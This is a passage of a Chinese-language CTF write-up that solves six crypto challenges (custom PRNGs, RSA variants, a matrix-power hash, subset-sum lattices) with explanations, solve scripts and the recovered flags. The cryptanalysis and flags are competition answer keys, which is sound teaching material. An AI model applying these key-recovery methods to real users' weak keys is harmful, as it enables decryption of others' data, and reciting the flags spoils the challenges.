# EDU-CTF Final & AIS3 EOF Quals <br> ***meow?*** Write-ups > - maple3142 > - k1a > - nella17 > - twinklestar03 [TOC] ![](https://i.imgur.com/uTudFnW.png) ![](https://i.imgur.com/TxB2nFK.png) ## Official Source Code & Write-ups - https://github.com/splitline/My-CTF-Challenges/tree/master/ais3-eof/2021-quals - https://github.com/LJP-TW/My-CTF-Challenges/tree/main/AIS3-2021-EOF-Qual - https://github.com/HexRabbit/CTF-writeup/tree/master/2022/EOFCTF-qual/pwnboy ## Crypto ### babyPRNG :::spoiler chal․py ```python= from flag import flag import random import string charset = string.ascii_letters + string.digits + '_{}' class MyRandom: def __init__(self): self.n = 2**256 self.a = random.randrange(2**256) self.b = random.randrange(2**256) def _random(self): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n tmp ^= (tmp >> 3) & 0xde tmp ^= (tmp << 1) & 0xad tmp ^= (tmp >> 2) & 0xbe tmp ^= (tmp << 4) & 0xef return tmp def random(self, nbit): return sum((self._random() & 1) << i for i in range(nbit)) assert all(c in charset for c in flag) assert len(flag) == 60 random_sequence = [] for i in range(6): rng = MyRandom() random_sequence += [rng.random(8) for _ in range(10)] ciphertext = bytes([x ^ y for x, y in zip(flag.encode(), random_sequence)]) print(ciphertext.hex()) ``` ::: 這題的 PRNG 有兩個 256 bit 狀態 $a,b$,每次輸出時都會用 $a'=b$ 和 $b'=69a+1337b \bmod{2^{256}}$ 去更新。之後拿原本的 $a$ 做一些 tamper 後輸出,取 lsb 作為輸出。 Tamper 的部份可以用觀察或是測試發現說 tmp 的 lsb 都保持不動,所以 tmp 的 lsb 直接就來自 $a$: ```python tmp ^= (tmp >> 3) & 0xde tmp ^= (tmp << 1) & 0xad tmp ^= (tmp >> 2) & 0xbe tmp ^= (tmp << 4) & 0xef ``` 因為我們只在意 lsb,也就是 $\bmod{2}$,因為 $2|2^{256}$ 的所以可以直接把 `% self.n` 視為 `% 2`,然後就可以注意到說 $b'$ 的 lsb 只和 $a,b$ 有關。 所以在只考慮 lsb 的情況下這個 PRNG 實際上的狀態只有四種: `0 0` `0 1` `1 0` `1 1` 所以直接爆破四種起始狀態輸出的 key stream 即可 xor 回原本的 flag。 :::spoiler solve․py ```python= class MyRandom: def __init__(self, a, b): self.n = 2 ** 256 self.a = a self.b = b def _random(self): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n tmp ^= (tmp >> 3) & 0xDE tmp ^= (tmp << 1) & 0xAD tmp ^= (tmp >> 2) & 0xBE tmp ^= (tmp << 4) & 0xEF return tmp def random(self, nbit): return sum((self._random() & 1) << i for i in range(nbit)) def xor(a, b): return bytes([x ^ y for x, y in zip(a, b)]) keys = [ bytes([rng.random(8) for _ in range(10)]) for a in range(2) for b in range(2) if (rng := MyRandom(a, b)) ] ct = bytes.fromhex( "9dfa2c9ccd5c84c61feb00ea835e848732ac8701da32b5865a84db59b08532b6cf32ebc10384c45903bf860084d018b5d55a5cebd832ef8059ead810" ) for i in range(0, len(ct), 10): for k in keys: s = xor(ct[i : i + 10], k) if s.isascii(): print(s.decode(), end="") print() # FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n} ``` ::: ### almostBabyPRNG :::spoiler chal․py ```python= from flag import flag import random class MyRandom: def __init__(self): self.n = 256 self.a = random.randrange(256) self.b = random.randrange(256) def random(self): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n tmp ^= (tmp >> 3) & 0xDE tmp ^= (tmp << 1) & 0xAD tmp ^= (tmp >> 2) & 0xBE tmp ^= (tmp << 4) & 0xEF return tmp class TruelyRandom: def __init__(self): self.r1 = MyRandom() self.r2 = MyRandom() self.r3 = MyRandom() print(self.r1.a, self.r1.b) print(self.r2.a, self.r2.b) print(self.r3.a, self.r3.b) def random(self): def rol(x, shift): shift %= 8 return ((x << shift) ^ (x >> (8 - shift))) & 255 o1 = rol(self.r1.random(), 87) o2 = rol(self.r2.random(), 6) o3 = rol(self.r3.random(), 3) o = (~o1 & o2) ^ (~o2 | o3) ^ (o1) o &= 255 return o assert len(flag) == 36 rng = TruelyRandom() random_sequence = [rng.random() for _ in range(420)] for i in range(len(flag)): random_sequence[i] ^= flag[i] open("output.txt", "w").write(bytes(random_sequence).hex()) ``` ::: 這題使用的 PRNG `TruelyRandom` 是使用三個 `MyRandom` 所組合而成的,每個各有 $256^2$ 種初始狀態。 輸出的時候是把每個 random 輸出的一個 byte 經過 `rol` 對 bits 做些交換,之後使用 `o = (~o1 & o2) ^ (~o2 | o3) ^ (o1)` 的做組合後輸出一個 byte。因為不是 lsb 所以不能像前面那題直接 $\bmod{2}$。 直接爆破的話需要 $(256^2)^3=2^{48}$ 次才能找出初始的狀態,雖然可能用 C/C++ 加上一些平行化應該有機會解出來,但顯然不是預期的解法。 先觀察輸出公式的[真值表](https://www.wolframalpha.com/input/?i=%7E%28%28%28%7Ea%29%26b%29%5E%28%28%7Eb%29%7Cc%29%5Ea%29)可以看出說 `o1` 和 `~o` 有 75% 的機率相同,`o3` 和 `~o` 也是 75% 的機率相同。在這種情況下就能使用 correlation attack 去單獨爆破其中一個 `MyRandom` 的 seed,只需要 $256^{2}+256^{2}$ 次。 由於輸出的值是一個 byte,在 correlation attack 的時候是直接比較 8 個 bits 相同的機率,然後取平均看有沒有超過 70%。 獲得 `r1` 和 `r3` 的 seed 之後直接再用 $256^{2}$ 爆破出 `r2` 的 seed,之後就能 xor 回原本的 flag。 :::spoiler solve․py ```python= class MyRandom: def __init__(self, a, b): self.a = a self.b = b def random(self): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337) & 0xFF tmp ^= (tmp >> 3) & 0xDE tmp ^= (tmp << 1) & 0xAD tmp ^= (tmp >> 2) & 0xBE tmp ^= (tmp << 4) & 0xEF return tmp def rol(x, shift): shift %= 8 return ((x << shift) ^ (x >> (8 - shift))) & 255 ct = list( bytes.fromhex( "d5de8acdc0fa83d9c5bbe683cb33ef07949d6faeee8b00f6a2cc10cad800ca818e1cfd34f96f8fe71c9dbb3930ec8fb89183c9eef059cddcdc62a3fcf96eaea6dcab1bde96db8dbb13e3eb5d144fec9c6c91637cffdb0d8c988c2a189a8aaeaa136afe8cd469dddedf88ed7effbf2fd89e8f8afa88beb9ba1150eaaec0c8fdb5d4fbe3efff8ca866ecbf2bda996a7f9e136d6d6e1afbccb664e24d5ef98e9fa63e8d8b3a385aef999389d9dcfbe9f8f6d4908bdaf9bdbd8dfeaebafea28aca8c9181cb8ca8cbc9a6f48893dcf94b8b4efca91a8ab1a84f9893ac4fafb86ee9dbff7a9949ff6e8fe40a9daa2c30ea99b89383c9ecf459d8d8dc66a1fcff6daeb4caab0ad896c88cbb11e3eb4c134ff9886c84617cf9cf0d8b9d8c3b189a88adaa117dfe8ac369c8c9df88f87ef9ad2fce9f8f9be988a9adba1343eabbd6c8e8b4d4eaf2eff989a865febf3acb996c6d9e11696d6c1afbd9b664e64b5eff899fb42c8d9a383849ea99918dd9cdf8e9ede6d4858ddaffadbd8affaeabfaa288cd8c9392cb8abbcbdcb5f48882dcff5d8b58f9a90b9db1bf5f9891bb4fbaaa6efcdeff6b8c49" ) ) def gen_table(shift, ln=128): table = {} for a in range(256): for b in range(256): r = MyRandom(a, b) stream = tuple([rol(r.random(), shift) for _ in range(ln)]) table[stream] = (a, b) return table def solve_gen1(): # a == ~(((~a)&b)^((~b)|c)^a) for 75% table = gen_table(87) for stream, (a, b) in table.items(): same = [0] * 8 for i in range(36, len(stream)): for j in range(8): mask = 1 << j if ((~ct[i]) & mask) == stream[i] & mask: same[j] += 1 rates = [s / (len(stream) - 36) for s in same] if sum(rates) / len(rates) > 0.70: print(a, b, rates) return a, b, stream def solve_gen3(): # c == ~(((~a)&b)^((~b)|c)^a) for 75% table = gen_table(3) for stream, (a, b) in table.items(): same = [0] * 8 for i in range(36, len(stream)): for j in range(8): mask = 1 << j if ((~ct[i]) & mask) == stream[i] & mask: same[j] += 1 rates = [s / (len(stream) - 36) for s in same] if sum(rates) / len(rates) > 0.70: print(a, b, rates) return a, b, stream a1, b1, s1 = solve_gen1() a3, b3, s3 = solve_gen3() table2 = gen_table(6) for s2, (a2, b2) in table2.items(): oo = [((~o1 & o2) ^ (~o2 | o3) ^ (o1)) & 0xFF for o1, o2, o3 in zip(s1, s2, s3)] if oo[36:] == ct[36 : len(oo)]: print(a2, b2) print(bytes([x ^ y for x, y in zip(oo, ct)][:36])) # pypy3 takes less than 3s # FLAG{1_l13d_4nd_m4d3_4_n3w_prn6_qwq} ``` ::: ### notRSA :::spoiler chal.sage ```python= from Crypto.Util.number import * from secret import flag n = ZZ(bytes_to_long(flag)) p = getPrime(int(640)) assert n < p print(p) K = Zmod(p) def hash(B, W, H): def step(a, b, c): return vector([9 * a - 36 * c, 6 * a - 27 * c, b]) def steps(n): Kx.<a, b, c> = K[] if n == 0: return vector([a, b, c]) half = steps(n // 2) full = half(*half) if n % 2 == 0: return full else: return step(*full) return steps(n)(B, W, H) print(hash(79, 58, 78)) ``` ::: 這題只給了個 hash function,輸入有 $n$ 和三個常數 $B,W,H$,其中 $n$ 是 flag。`step` 函數單純的對於三個輸入 $a,b,c$ 輸出一個向量 $[9a-36c,6a-27c,b]$。計算一律在一個 $\mathbb{F}_p$ 下運算。 `steps` 函數則是對於輸入 $n$ 使用 symbolic 的 $a,b,c$ 做一些運算,仔細一看可以看出那其實是很單純的快速冪。假設 `step` 代表的是一個未知的轉換 $T$,`half = steps(n // 2)` 計算 $T^{\lfloor{n/2}\rfloor}$,然後 `half(*half)` 就是 $(T^{\lfloor{n/2}\rfloor})^2$,之後看 $n$ 的奇偶決定要不要多乘 $T$。所以 `steps(n)` 其實就代表 $T^n(x)$ 而已。 而 `step` 代表的 $T$ 本身其實很容易看出來是個矩陣乘法: $$ T( \begin{bmatrix} a \\ b \\ c \end{bmatrix} )= \begin{bmatrix} 9 & 0 & -36 \\ 6 & 0 & -27 \\ 0 & 1 & 0 \end{bmatrix} \begin{bmatrix} a \\ b \\ c \end{bmatrix} =A \begin{bmatrix} a \\ b \\ c \end{bmatrix} $$ 因此這題簡單來說就是給予 $v=A^n u$ 求 $n$,有點像是 discrete log。 要求矩陣的次方想做的第一件事是對角化看看,不過很容易就能發現 $A$ 不可對角化,只能算 jordan form 而已,也就是求出 $A=PJP^{-1}$,其中 $J$ 是個上三角矩陣。 另外 $A^n=(PJP^{-1})^n=PJ^nP^{-1}$,所以 $v=A^n u$ 可以化為 $v'=J^n u'$,其中 $v'=P^{-1}v$ 和 $u'=P^{-1}u$。 這題的 $J$ 是: $$ J= \begin{bmatrix} 3 & 1 & 0 \\ 0 & 3 & 1 \\ 0 & 0 & 3 \end{bmatrix} $$ 上三角矩陣的次方容易推出通項公式,不過我直接偷懶讓 WolframAlpha 大神來計算: [通項公式](https://www.wolframalpha.com/input/?i=%7B%7B3%2C1%2C0%7D%2C%7B0%2C3%2C1%7D%2C%7B0%2C0%2C3%7D%7D%5En) $$ J^n= \frac{3^{n-2}}{2} \begin{bmatrix} 18 & 6n & n^2-n \\ 0 & 18 & 6n \\ 0 & 0 & 18 \end{bmatrix} $$ 所以 $$ \begin{bmatrix} a' \\ b' \\ c' \end{bmatrix}=J^n \begin{bmatrix} a \\ b \\ c \end{bmatrix}= \frac{3^{n-2}}{2} \begin{bmatrix} 18 & 6n & n^2-n \\ 0 & 18 & 6n \\ 0 & 0 & 18 \end{bmatrix} \begin{bmatrix} a \\ b \\ c \end{bmatrix} $$ 其中 $a,b,c$ 和 $a',b',c'$ 分別是 $u',v'$ 的三個維度,都是已知的值。因為 $\frac{3^{n-2}}{2}$ 未知所以設成 $k$ 方便處裡,待會消掉: $$ \begin{aligned} b'&=k(18b+6cn) \\ c'&=k(18c) \end{aligned} $$ 相除得到 $$ b'(18c)=c'(18b+6cn) $$ 所以 $$ n= \frac{18b'c-18bc'}{6cc'} $$ :::spoiler solve.sage ```python= from Crypto.Util.number import * p = 2888665952131436258952936715089276376855255923173168621757807730410786288318040226730097955921636005861313428457049105344943798228727806651839700038362786918890301443069519989559284713392330197 K = Zmod(p) A = matrix(K, [[9, 0, -36], [6, 0, -27], [0, 1, 0]]) u = vector(K, (79, 58, 78)) v = vector( K, ( 2294639317300266890015110188951789071529463581989085276295636583968373662428057151776924522538765000599065000358258053836419742433816218972691575336479343530626038320565720060649467158524086548, 1566616647640438520853352451277215019156861851308556372753484329383556781312953384064601676123516314472065577660736308388981301221646276107709573742408246662041733131269050310226743141102435560, 2794094290374250471638905813912842135127051843020655371741518235633082381443339672625718699933072070923782732400527475235532783709419530024573320695480648538261456026723487042553523968423228485, ), ) J, P = A.jordan_form(transformation=True) # A^n*v=u # A=PJP^-1 # J^n*vv=uu print(J) vv = ~P * v uu = ~P * u a, b, c = uu aa, bb, cc = vv n = (18 * bb * c - 18 * b * cc) / (6 * c * cc) print(long_to_bytes(n)) # FLAG{haha_diagonalization_go_brRRRrRrrrRrRrrrRrRrRRrrRrRrRRRRrrRRrRRrrrrRrRrRrR} ``` ::: ### babyRSA :::spoiler chal․py ```python= from Crypto.Util.number import * from secret import flag p = getPrime(512) q = getPrime(512) n = p * q m = n**2 + 69420 h = (pow(3, 2022, m) * p**2 + pow(5, 2022, m) * q**2) % m c = pow(bytes_to_long(flag), 65537, n) print('n =', n) print('h =', h) print('c =', c) ``` ::: 這題是在一般 RSA 之上多提供一個 $h \equiv (ap)^2+(bq)^2 \pmod{m}$,其中 $m=n^2+69420$, $a \equiv 3^{1011} \pmod{m}$, $b \equiv 5^{1011} \pmod{m}$。 $p,q$ 都是 512 bits,所以 $n$ 是 1024 bits,而 $m$ 是 2048 bits。所以可以寫出下方的 Lattice basis: > 註: 本文中 Lattice 一律以 row vector 為 basis $$ B= \begin{bmatrix} m & 0 & 0 \\ a^2 & 1 & 0 \\ b^2 & 0 & 1 \end{bmatrix} $$ 可知 $v=(h,p^2,q^2)$ 存在這個 Lattice 中,其中只有 $h$ 已知,其他只知道 $0 \leq p^2,q^2 \leq 2^{1024}$ 而已。所以可以寫出 $v$ 的上下界 $\mathit{lb}=(h,0,0)$ 和 $\mathit{ub}=(h,2^{1024},2^{1024})$。 一個簡單的想法是用 LLL 對 $B$ reduce 過之後使用 Babai nearest plane 去近似 $(\mathit{lb}+\mathit{ub})/2$,只是會發現求出來的 $h'$ 和實際上的 $h$ 差很大。解決辦法和 LLL 會去調整權重一樣,把第一個 column 乘上很大的值就可以讓 reduced basis 的第一維變很小。在 CVP 的話因為我們已經很肯定第一維就是 $h$,所以讓 reduced basis 的第一維夠小才比較好的逼近目標向量。 這個技巧就在 [rkm0959/Inequality_Solving_with_CVP](https://github.com/rkm0959/Inequality_Solving_with_CVP) 這個 repo 中實作了出來,方法就是把 $\mathit{ub}-\mathit{lb}$ 差很小的維度乘上很大的值,反之差很大的維度就讓它乘上比較小的值。這樣 reduced basis 就會根據目標的上下界差值有大和小的變化,更容易找出目標的 $(lb+ub)/2$。 使用了那個 repo 的 CVP solver 出來的向量 $v$ 根據自己測試有大概 $\frac{1}{4} \sim \frac{1}{3}$ 的機率下第二維是個完全平方數 $p^2$,就算不是也可以拿 reduced basis 的前兩短向量 $\lambda_1,\lambda_2$ 出來,暴力搜尋附近的向量,也就是 $\{v+a\lambda_1+b\lambda_2 \mid a,b \in [-10,10]\}$。根據測試大概 99% 都能找到目標的 $p^2$,即可成功分解 $n$ 解密 flag。 > 註: 因為 $p^2<m=n^2+69420$,所以 $p^2\pmod{m}$ 才會是完全平方數 :::spoiler solve.sage ```python= from Crypto.Util.number import * n = 60116508546664196727889673537793426957208317552814539722187167053623876043252780386821990827068176541032744152377606007460695865230455445490316090376844822501259106343706524194509410859747044301510282354678419831232665073515931614133865254324502750265996406483174791757276522461194898225654233114447953162193 h = 2116009228641574188029563238988754314114810088905380650788213482300513708694199075187203381676605068292187173539467885447061231622295867582666482214703260097506783790268190834638040582281613892929433273567874863354164328733477933865295220796973440457829691340185850634254836394529210411687785425194854790919451644450150262782885556693980725855574463590558188227365115377564767308192896153000524264489227968334038322920900226265971146564689699854863767404695165914924865933228537449955231734113032546481992453187988144741216240595756614621211870621559491396668569557442509308772459599704840575445577974462021437438528 c = 50609945708848823221808804877630237645587351810959339905773651051680570682896518230348173309526813601333731054682678018462412801934056050505173324754946000933742765626167885199640585623420470828969511673056056011846681065748145129805078161435256544226137963588018603162731644544670134305349338886118521580925 e = 65537 m = n ** 2 + 69420 a = pow(3, 1011, m) b = pow(5, 1011, m) B = matrix(ZZ, [[m, 0, 0], [a ^ 2, 1, 0], [b ^ 2, 0, 1]]) load("solver.sage") # https://github.com/rkm0959/Inequality_Solving_with_CVP lb = [h, 0, 0] ub = [h, 2 ^ 1024, 2 ^ 1024] result, applied_weights, fin = solve(B, lb, ub) # PS: B will be modified inplace v = vector( [x // y for x, y in zip(result, applied_weights)] ) # closest vector to (lb+ub)/2 print(v) if not v[1].is_square(): R = B.LLL() l0 = vector([x // y for x, y in zip(R[0], applied_weights)]) l1 = vector([x // y for x, y in zip(R[1], applied_weights)]) # enumerate nearby vectors for i in range(-10, 10): for j in range(-10, 10): vv = v + l0 * i + l1 * j if vv[1].is_square(): print("found", i, j) p = vv[1].sqrt() q = vv[2].sqrt() assert p * q == n d = inverse_mod(e, (p - 1) * (q - 1)) m = power_mod(c, d, n) print(long_to_bytes(m)) # FLAG{7hI5_i5_4_C0MPL373_r4nD0M_fL49_8LinK} ``` ::: ### easyRSA :::spoiler chal․py ```python= from Crypto.Util.number import * import os from flag import flag blen = 256 def rsa(p: int, q: int, message: bytes): n = p * q e = 65537 pad_length = n.bit_length() // 8 - len(message) - 2 # I padded too much message += os.urandom(pad_length) m = bytes_to_long(message) return (n, pow(m, e, n)) def level1(message1: bytes, message2: bytes): while True: p1 = getPrime(blen) # 512-bit number p2 = (p1 - 1) // 2 if isPrime(p2): break q1 = getPrime(blen) q2 = getPrime(blen) return rsa(p1, q1, message1), rsa(p2, q2, message2) def level2(message1: bytes, message2: bytes): while True: p1 = getPrime(blen) # 512-bit number p2 = (p1 + 1) // 2 if isPrime(p2): break q1 = getPrime(blen) q2 = getPrime(blen) return rsa(p1, q1, message1), rsa(p2, q2, message2) assert len(flag) == 44 l = len(flag) // 4 m1, m2, m3, m4 = [flag[i * l: i * l + l] for i in range(4)] c1, c2 = level1(m1, m2) c3, c4 = level2(m3, m4) print(f'{c1 = }') print(f'{c2 = }') print(f'{c3 = }') print(f'{c4 = }') ``` ::: 這題的 flag 分成了四等分,分別用了四個 RSA modulus 加密,前兩個是 level1,後兩個是 level2。 #### level1 $$ \begin{aligned} n_1&=p_1 q_1 \\ n_2&=p_2 q_2 \\ p_2&=\frac{p_1-1}{2} \end{aligned} $$ 解題可以從費馬小定理開始 $a^{p-1} \equiv 1 \pmod{p}$ 可知就算多開 $k$ 次方也成立 $a^{k(p-1)} \equiv 1 \pmod{p}$ 而 $2n_2=2p_2q_2=(p_1-1)q_2$ 是 $p_1-1$ 的倍數,所以 $a^{2n_2} \equiv 1 \pmod{p_1}$,因此 $p_1 = \gcd(a^{2n_2}-1,n_1)$ 對於大部分的 $a$ 成立。 只是說 $n_2$ 是個很大的數字,沒辦法對任意整數開 $2n_2$ 次方,需要 $\bmod{n_1}$ 才行,所以是 $p_1=\gcd((a^{2n_2}\bmod{n_1})-1,n_1)$ 之所以能這樣做是因為 $p_1|n_1$,如果不整除的話就不能這樣 $\bmod{n_1}$,這是因為有下方的這個性質才能這麼做的: $$ x \equiv y \pmod{ab} \implies x \equiv y \pmod{a} $$ 這個概念其實就是 Pollard p-1,當 $p-1$ 夠 smooth 的時候可以隨便乘一堆小的質數得到 $R$,如果 $(p-1)|R$ 的話就開 $R$ 次方就能分解了。這題只是利用 $2n_2$ 提供給你了 $p-1$ 的倍數方便分解。 #### level2 $$ \begin{aligned} n_1&=p_1 q_1 \\ n_2&=p_2 q_2 \\ p_2&=\frac{p_1+1}{2} \end{aligned} $$ 唯一的不同在於 $p_1-1$ 變成了 $p_1+1$,看到 $p_1+1$ 就比較容易想到和 Pollard p-1 相對的 Williams p+1 分解法。 參考[這篇文章](http://users.telenet.be/janneli/jan/factorization/williams_p_plus_one.html)可知對於以下的 Lucas Sequence $$ \begin{aligned} V_0&=2 \\ V_1&=A \\ V_n&=AV_{n-1}-V_{n-2} \end{aligned} $$ 設 $D=A^2-4$,若 $p \nmid D$ 時則有 $p \mid \gcd(V_m-2,n)$,其中 $m$ 是 $p-\left(\dfrac{D}{p}\right)$ 的倍數,而 $\left(\dfrac{D}{p}\right)$ 是 [Legendre symbol](https://en.wikipedia.org/wiki/Legendre_symbol)。 如果 $D$ 不是 $p$ 的二次剩餘,那 $\left(\dfrac{D}{p}\right)=-1$,所以只要 $m$ 是 $p+1$ 的倍數就能分解 $p$ 了。而 $2n_2=(p+1)q_2$ 顯然是 $p+1$ 的倍數。 $D=A^2-4$ 可以直接隨便猜 $A$,機率大概 $\frac{1}{2}$ 不是二次剩餘。剩下就是該如何計算 $V_{2n_2}$ 了,這部分和前面一樣可以 $\bmod{n_1}$ 避免數字太大。只是直接按照上面給的遞迴公式計算需要 $\mathcal{O}(n)$ 才能得到 $V_n$,對於 $2n_2$ 來說太慢了。 這邊可以注意到 $V_n$ 其實類似費氏數列,可以直接用矩陣快速冪在 $\mathcal{O}(\log{n})$ 算出第 $n$ 項,然後之後 $\gcd$ 後就能算出 $p_1$ 解密。 :::spoiler solve.sage ```python= from Crypto.Util.number import * c1 = ( 7125334583032019596749662689476624870348730617129072883601037230619055820557600004017951889099111409301501025414202687828034854486218006466402104817563977, 4129148081603511890044110486860504513096451540806652331750117742737425842374298304266296558588397968442464774130566675039127757853450139411251072917969330, ) c2 = ( 2306027148703673165701737115582071466907520373299852535893311105201050695517991356607853174423460976372892149320885781870159564414187611810749699797202279, 600009760336975773114176145593092065538518609408417314532164466316030691084678880434158290740067228766533979856242387874408357893494155668477420708469922, ) c3 = ( 9268888642513284390417550869139808492477151321047004950176038322397963262162109301251670712046586685343835018656773326672211744371702420113122754069185607, 5895040809839234176362470150232751529235260997980339956561417006573937337637985480242398768934387532356482504870280678697915579761101171930654855674459361, ) c4 = ( 6295574851418783753824035390649259706446806860002184598352000067359229880214075248062579224761621167589221171824503601152550433516077931630632199823153369, 3120774808318285627147339586638439658076208483982368667695632517147182809570199446305967277379271126932480036132431236155965670234021632431278139355426418, ) e = 65537 def solve_level1(n1, c1, n2, c2): p1 = gcd(power_mod(2, 2 * n2, n1) - 1, n1) p2 = (p1 - 1) // 2 q1 = n1 // p1 q2 = n2 // p2 d1 = inverse_mod(e, (p1 - 1) * (q1 - 1)) d2 = inverse_mod(e, (p2 - 1) * (q2 - 1)) m1 = power_mod(c1, d1, n1) m2 = power_mod(c2, d2, n2) return long_to_bytes(m1), long_to_bytes(m2) def lucas_v(a, n): # computes n-th lucas number for v_n=a*v_{n-1}-v_{n-2} with fast matrix power v0 = 2 v1 = a R = a.base_ring() M = matrix(R, [[a, -1], [1, 0]]) v = M ^ (n - 1) * vector(R, [v1, v0]) return v[0] def solve_level2(n1, c1, n2, c2): # based on Williams p+1: http://users.telenet.be/janneli/jan/factorization/williams_p_plus_one.html for a in range(2, 10): p1 = ZZ(gcd(lucas_v(Mod(a, n1), 2 * n2) - 2, n1)) if 1 < p1 < n1: break p2 = (p1 + 1) // 2 q1 = n1 // p1 q2 = n2 // p2 d1 = inverse_mod(e, (p1 - 1) * (q1 - 1)) d2 = inverse_mod(e, (p2 - 1) * (q2 - 1)) m1 = power_mod(c1, d1, n1) m2 = power_mod(c2, d2, n2) return long_to_bytes(m1), long_to_bytes(m2) m1, m2 = solve_level1(*c1, *c2) m3, m4 = solve_level2(*c3, *c4) flag = b"".join([x[:11] for x in [m1, m2, m3, m4]]) print(flag) # flag{S0rry_1_f0r9ot_T0_cH4nGe_7h3_t35t_fl46} ``` ::: ### notPRNG :::spoiler chal.sage ```python= from secret import flag import sys def genModular(x): if x <= 2 * 210: return random_prime(2^x, False, 2^(x - 1)) return random_prime(2^210, False, 2^209) * genModular(x - 210) N, L = 100, 200 M = genModular(int(N * N * 0.07 + N * log(N, 2))) # generate a random vector in Z_M a = vector(ZZ, [ZZ.random_element(M) for _ in range(N)]) # generate a random 0/1 matrix while True: X = Matrix(ZZ, L, N) for i in range(L): for j in range(N): X[i, j] = ZZ.random_element(2) if X.rank() == N: break # let's see what will this be b = X * a for i in range(L): b[i] = mod(b[i], M) print('N =', N) print('L =', L) print('M =', M) print('b =', b) x = vector(ZZ, int(N)) for j in range(N): for i in range(L): x[j] = x[j] * 2 + X[i, j] def bad(): print("They're not my values!!!") sys.exit(0) def calc(va, vx): ret = [0] * L for i, vai in enumerate(va): for j in range(L): bij = (vx[i] >> (L - 1 - j)) & 1 ret[j] = (ret[j] + vai * bij) % M return ret if __name__ == '__main__': print('What are my original values?') print('a?') aa = list(map(int, input().split())) print('x?') xx = list(map(int, input().split())) if len(aa) != len(a): bad() if len(xx) != len(x): bad() if calc(a, x) != calc(aa, xx): bad() print(flag) ``` ::: 程式碼有點複雜,但簡單來說就是給予你向量 $b$ 和大整數 $M$,求矩陣 $X$ 和向量 $a$ 符合 $Xa \equiv b \pmod{M}$。其中 $X$ 指定說每個元素都只能是 $0,1$,且 $\operatorname{rank}(X)=N$。 Source code 中下面這段是用來把 $0,1$ 的 $X$ 矩陣壓縮的 ```python=34 x = vector(ZZ, int(N)) for j in range(N): for i in range(L): x[j] = x[j] * 2 + X[i, j] ``` 而 `calc` 函數其實就只是利用壓縮過的矩陣 `vx` 和向量 `va` 做 $Xa \pmod{M}$ 而已。 這個問題的 $X$ 是個 $L \times N$ 的矩陣,$a$ 是 $N \times 1$ 向量,$b$ 是 $L \times 1$ 向量。其中 $L=200,N=100$。可知如果 $N=L=200$ 的話有個很簡單的 trivial solution,就是 $X$ 取單位矩陣 $I_n$,而 $a=b$。只是這題難就難在 $N<L$ 這件事上。 這題就像是在問說怎麼把個 $L$ 維的 $b$ 向量拆成 $N$ 個只由 $0,1$ 組成的 basis,一時之間真的想不到怎麼做。不過可以觀察到說如果 $a$ 已知,那這個問題就變成了解 $L$ 個 [subset sum problem](https://en.wikipedia.org/wiki/Subset_sum_problem),雖然這問題在一般情況下是 NP-Complete 的,但是在 low density 的情況下可以利用 LLL 之類的算法在多項式時間內解決問題。([Solving Low-Density Subset Sum Problems](https://web.stevens.edu/algebraic/Files/SubsetSum/p229-lagarias.pdf)) 以這題 $M$ 的生成方式可以知道 density: $$ d=\frac{N}{\log_2(\max{b_i})} \approx \frac{N}{\log_2{M}} = \frac{1}{0.07 N+\log_2{N}} \approx 0.0733 $$ 而對於 density 小於 $0.9408$ 的 subset sum problem 都是 LLL 可以處裡的([來源](https://link.springer.com/content/pdf/10.1007%2F3-540-46416-6_4.pdf)),所以這題肯定和 LLL 脫不了關係。 解題的話目前有兩個方法,先找 $X$ 或是先找 $a$。先找 $a$ 還不知道怎麼做,但任意固定 $a$ 的話不一定能有 subset sum 的解這件事是已知的。就算找到了一個 $a$ 確定對於 $L$ 個 subset sum 都有解,需要重複解 $L$ 次,經測試在我的電腦上解一個 subset sum 需要約 20 秒,而 $20 \times 200$ 秒過去的話肯定會 timeout,所以這方向不可行。 另一個出發點是想辦法尋找 $X$,有 $X$ 的話就解方程組得到 $a$,但顯然不是對於任意的 $0,1$ 矩陣都有解的。所以目標是要找個方法求出 $X$,找到的 $X'$ 矩陣不一定要和原本的 $X$ 完全一樣也可以,就算是 basis 的順序有些交換也還是能夠解出一個 $a'$ 使得 $X'a' \equiv b \pmod{M}$ 的。 先用下面這個 Lattice 去 reduce: $$ B= \begin{bmatrix} Tb_0 & 1 \\ Tb_1 && 1 \\ \vdots &&& \ddots \\ Tb_{L-1} &&&& 1 \\ TM \end{bmatrix} $$ 其中空白部分都是 $0$,$T$ 是隨便選的一個大常數,讓 reduced 過的 basis 的第一維盡量保持為 $0$。basis 中會有多個 $v=(0,k_0,k_1,...,k_{L-1})$ 型式的短向量。由於每個 $b_i$ 都是來自 $a$ 向量的一些 $0,1$ 的線性組合,可以預期 $k_i$ 其實都不會很大。 實際測試會發現 reduced 過的 basis 中的前 $L$ 個向量的第一維都是 $0$,但只有前面 $N$ 個向量的 $k_i$ 大概都落在 $[-10,10]$ 的區間,剩下的都會遠遠超出這個範圍。把這 $N$ 個 $L$ 維向量視為一個 $N \times L$ 的矩陣 $K$,可知 $Kb \equiv \vec{0} \equiv KXa \pmod{M}$。因為 $Xa \not\equiv \vec{0} \pmod{M}$,所以 $KX \equiv O \pmod{M}$。 由於 $X$ 都是 $0,1$ 構成的,$K$ 裡面也大概落在 $[-10,10]$,可以發現在整數上 $KX=O$ 也成立,可以把 $K$ 視為一個 left kernel(?)。所以目前的問題就變成了怎麼從 $N \times L$ 的矩陣 $K$,找到一個 $0,1$ 矩陣 $X'$ 符合 $KX'=O$ 和 $\operatorname{rank}(X')=N$。 這個問題像是怎麼找 $K$ 的 right kernel,只是有 $0,1$ 整數的限制。Sage 內建的可以很快速的算出 $\mathbb{Q}$ 的 right kernel,但是在 $\mathbb{Z}$ 上慢到根本跑不出來。我用的方法是取 $B=[TK^\intercal \mid I_L]$,其中 $T$ 一樣是個足夠大的常數,這樣 reduce 過的 basis 中會出現許多 $v=(0,0,\cdots,e_0,e_1,\cdots,e_{L-1})$,其中 $e_i \in [-1,1]$。 測試一下可以發現有約 $N$ 個都是在 $[-1,1]$ 區間的,但其中只有 $1$ 個是 $[0,1]$ 區間的。後來就以唯一的那個 $[0,1]$ 區間的作為基準 $v$,然後其他的放到集合 $S$ 中,直接爆破 $\{\alpha v+\beta v_1+\gamma v_2 